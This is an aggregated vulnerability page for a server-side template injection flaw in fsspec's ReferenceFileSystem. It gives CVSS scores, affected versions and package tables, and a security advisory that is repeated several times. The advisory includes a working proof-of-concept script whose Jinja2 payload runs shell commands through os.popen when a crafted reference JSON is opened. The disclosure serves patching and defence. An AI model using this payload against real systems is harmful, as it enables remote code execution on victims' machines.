CVE-2026-104851
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.8
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
CVE-2026-104851- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
EUVDEUVD-2026-91720
8.8
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
EUVD-2026-91720- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-27vj-qcqg-25rc
8.8
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
| A — _process_references1._render_jinja | lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
| B — _process_templates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
| C — _process_gen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
…
- Record
GHSA-27vj-qcqg-25rc- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
NVD
8.8
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
CVE-2026-104851- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1336
- Updated
- 2026-11-02
OSV
8.8
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
CVE-2026-104851- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-94
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-104851
8.8
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
DEBIAN-CVE-2026-104851- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-27vj-qcqg-25rc
8.8
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
| A — _process_references1._render_jinja | lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
| B — _process_templates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
| C — _process_gen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
…
- Record
GHSA-27vj-qcqg-25rc- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Weakness
- CWE-1336, CWE-94
- Updated
- 2026-11-02
OSVPYSEC-2026-4217
8.8
fsspec: Server-Side Template Injection in ReferenceFileSystem leads to Remote Code Execution
Summary
fsspec.implementations.reference.ReferenceFileSystem parses a "references"
JSON document (Kerchunk format) supplied either inline or via a URL. The
parser renders fields from this JSON through un-sandboxed
jinja2.Template(...).render(...) calls in three locations. An attacker who
controls the JSON document — typically by hosting it at a URL that the
victim opens with fsspec.filesystem("reference", fo=URL) or via
xarray.open_dataset("reference://...") — achieves arbitrary Python code
execution on the victim machine, before any data is read.
This mirrors the pattern of CVE-2024-34359
in llama-cpp-python, where externally-sourced template strings were
rendered with the default unrestricted Jinja2 environment.
Affected versions
All versions of fsspec from 0.9.0 onward (vulnerable code introduced in
commit 0fb8d56b684ee74ad9ad4587fd560bde1b116450, 2021-03-12). Confirmed on
the latest released version 2025.10.0.
Affected sinks
All in fsspec/implementations/reference.py:
| Sink | Location | Trigger |
|---|---|---|
| A — _process_references1._render_jinja | lines 1016-1018 | simple_templates=False and a refs entry contains {{ |
| B — _process_templates (lambda) | lines 1043-1053 | templates dict has values containing {{, invoked later via render context |
| C — _process_gen | lines 1075-1083 | references JSON contains a gen array (always reached, regardless of simple_templates) |
Sink C is the most severe: it is reached unconditionally for any references
JSON that includes a gen field.
The vulnerable code:
# fsspec/implementations/reference.py
# Sink A
@lru_cache(1000)
def _render_jinja(u):
return jinja2.Template(u).render(**self.templates) # <- unsandboxed
# Sink B
def _process_templates(self, tmp):
...
for k, v in tmp.items():
if "{{" in v:
import jinja2
self.templates[k] = lambda temp=v, **kwargs: jinja2.Template(
temp # <- unsandboxed
).render(**kwargs)
# Sink C
def _process_gen(self, gens):
...
for pr in products:
import jinja2
key = jinja2.Template(gen["key"]).render(**pr, **self.templates) # <- unsandboxed
url = jinja2.Template(gen["url"]).render(**pr, **self.templates) # <- unsandboxed
if ("offset" in gen) and ("length" in gen):
offset = int(jinja2.Template(gen["offset"]).render(...)) # <- unsandboxed
length = int(jinja2.Template(gen["length"]).render(...)) # <- unsandboxed
Proof of concept (Sink C, minimal)
Save as poc.py:
import http.server, json, socketserver, threading, time, fsspec
from pathlib import Path
PAYLOAD = "{{ joiner.__init__.__globals__.os.popen('touch /tmp/fsspec_pwned_$(whoami)').read() }}"
REF = {
"version": 1, "templates": {}, "refs": {"x": "x"},
"gen": [{
"key": PAYLOAD + "/{{ i }}", "url": "http://example.com/{{ i }}",
"offset": "0", "length": "0", "dimensions": {"i": [0]},
}],
}
body = json.dumps(REF).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.end_headers(); self.wfile.write(body)
def log_message(self, *a, **kw): pass
srv = socketserver.TCPServer(("127.0.0.1", 0), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
url = f"http://127.0.0.1:{srv.server_address[1]}/refs.json"
for p in Path("/tmp").glob("fsspec_pwned_*"): p.unlink()
try:
fsspec.filesystem("reference", fo=url)
except Exception as e:
print("exception:", e)
srv.shutdown()
time.sleep(0.3)
print("markers:", list(Path("/tmp").glob("fsspec_pwned_*")))
Run:
pip install fsspec aiohttp requests jinja2
python3 poc.py
# → markers: [PosixPath('/tmp/fsspec_pwned_<user>')]
End-to-end via xarray (real-world consumer pathway)
…
- Record
PYSEC-2026-4217- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-104851
8.8
fsspec is a specification and Python implementation framework for filesystem interfaces. From 0.9.0 until 2026.6.0, fsspec.implementations.reference.ReferenceFileSystem evaluates fields from Kerchunk reference JSON documents through unrestricted jinja2.Template(...).render(...) calls in _process_references1._render_jinja, _process_templates, and _process_gen in fsspec/implementations/reference.py. A document supplied inline or fetched from an attacker-controlled URL can provide template expressions that execute Python code when the reference filesystem is opened, including through consumers such as xarray, before referenced data is read. The _process_gen path is reached whenever a document includes a gen array, while the other paths depend on template-related options and values. This issue is fixed in version 2026.6.0.
- Record
UBUNTU-CVE-2026-104851- CVSS 3.1
- 8.8 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVopenSUSE-SU-2026:22028-1 No score
Security update for python-fsspec
This update for python-fsspec fixes the following issues:
Changes in python-fsspec:
- CVE-2026-104851: python-fsspec: remote code execution via
server-side template injection in
ReferenceFileSystem(bsc#1284173)
- Record
openSUSE-SU-2026:22028-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-104851 No score
CVE-2026-104851 in fsspec - Patched by Root
Root has patched CVE-2026-104851 in the fsspec package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-104851- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
fsspecPyPI |
0.9.0 up to 2026.6.0 | 2026.6.0 |
fsspecDebian:12 |
All versions, plus listed versions 2022.11.0-12023.10.0-12023.3.0-1~exp12023.6.0-12023.9.2-1 Show 18 moreShow less2024.10.0-12024.12.0-12024.12.0-22024.2.0-12024.3.1-12024.5.0-12024.6.0-12024.6.1-12024.9.0-12025.12.0-12025.2.0-12025.3.0-12025.3.2-12025.7.0-12025.7.0-22025.7.0-32025.7.0-42026.9.0-1 |
None known |
fsspecDebian:13 |
All versions, plus listed versions 2025.12.0-12025.3.2-12025.7.0-12025.7.0-22025.7.0-32025.7.0-42026.9.0-1 |
None known |
fsspecDebian:14 |
before 2026.9.0-1, plus listed versions 2025.12.0-12025.3.2-12025.7.0-12025.7.0-22025.7.0-32025.7.0-4 |
2026.9.0-1 |
fsspecPyPI |
0.9.0 up to 2026.6.0, plus listed versions 2021.10.02021.10.12021.11.02021.11.12021.4.0 Show 45 moreShow less2021.5.02021.6.02021.6.12021.7.02021.8.12021.9.02022.1.02022.10.02022.11.02022.2.02022.3.02022.5.02022.7.02022.7.12022.8.02022.8.12022.8.22023.1.02023.10.02023.12.02023.12.12023.12.22023.3.02023.4.02023.5.02023.6.02023.9.02023.9.12023.9.22024.10.02024.12.02024.2.02024.3.02024.3.12024.5.02024.6.02024.6.12024.9.02025.10.02025.12.02025.2.02025.3.02025.3.12025.3.22025.5.0 |
2026.6.0 |
fsspecRoot:PyPI |
before 2022.11.0+aikido.1 | 2022.11.0+aikido.1 |
fsspecUbuntu:20.04:LTS |
All versions, plus listed versions 0.6.1-0.1 |
None known |
fsspecUbuntu:22.04:LTS |
All versions, plus listed versions 0.8.4-12022.01.0-1 |
None known |
fsspecUbuntu:24.04:LTS |
All versions, plus listed versions 2023.6.0-12023.9.2-12023.10.0-12024.2.0-1 |
None known |
fsspecUbuntu:26.10 |
All versions, plus listed versions 2025.12.0-1 |
None known |
fsspecUbuntu:26.04:LTS |
All versions, plus listed versions 2025.3.2-1ubuntu12025.12.0-1 |
None known |
python-fsspecopenSUSE:Leap 16.0 |
before 2024.3.1-bp160.2.1 | 2024.3.1-bp160.2.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-104851 is a high vulnerability (CVSS 8.8) in Fsspec Filesystem Spec, published October 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 41st percentile. Fixed in fsspec 2026.6.0.
References
github.com/fsspec/filesystem_spec/security/advisories/GHSA-27vj-qcqg-25rc
github.com/fsspec/filesystem_spec/pull/2029
github.com/fsspec/filesystem_spec/pull/2039
github.com/fsspec/filesystem_spec/commit/86438783f93b1398ef245b92f0e6063b445b611c
github.com/fsspec/filesystem_spec/commit/a1c16ab3f07f354aa371c38f7b1b07ea7fd4c5c8
github.com/fsspec/filesystem_spec/releases/tag/2026.6.0
Show 10 moreShow less
nvd.nist.gov/vuln/detail/CVE-2026-104851
github.com/advisories/GHSA-27vj-qcqg-25rc
github.com/CVEProject/cvelistV5/tree/main/cves/2026/104xxx/CVE-2026-104851.json
security-tracker.debian.org/tracker/CVE-2026-104851
github.com/fsspec/filesystem_spec
pypi.org/project/fsspec
ubuntu.com/security/CVE-2026-104851
cve.org/CVERecord?id=CVE-2026-104851
bugzilla.suse.com/1284173
suse.com/security/cve/CVE-2026-104851
Left out here: 7 versions and the rest of 3 source descriptions. The JSON record has them.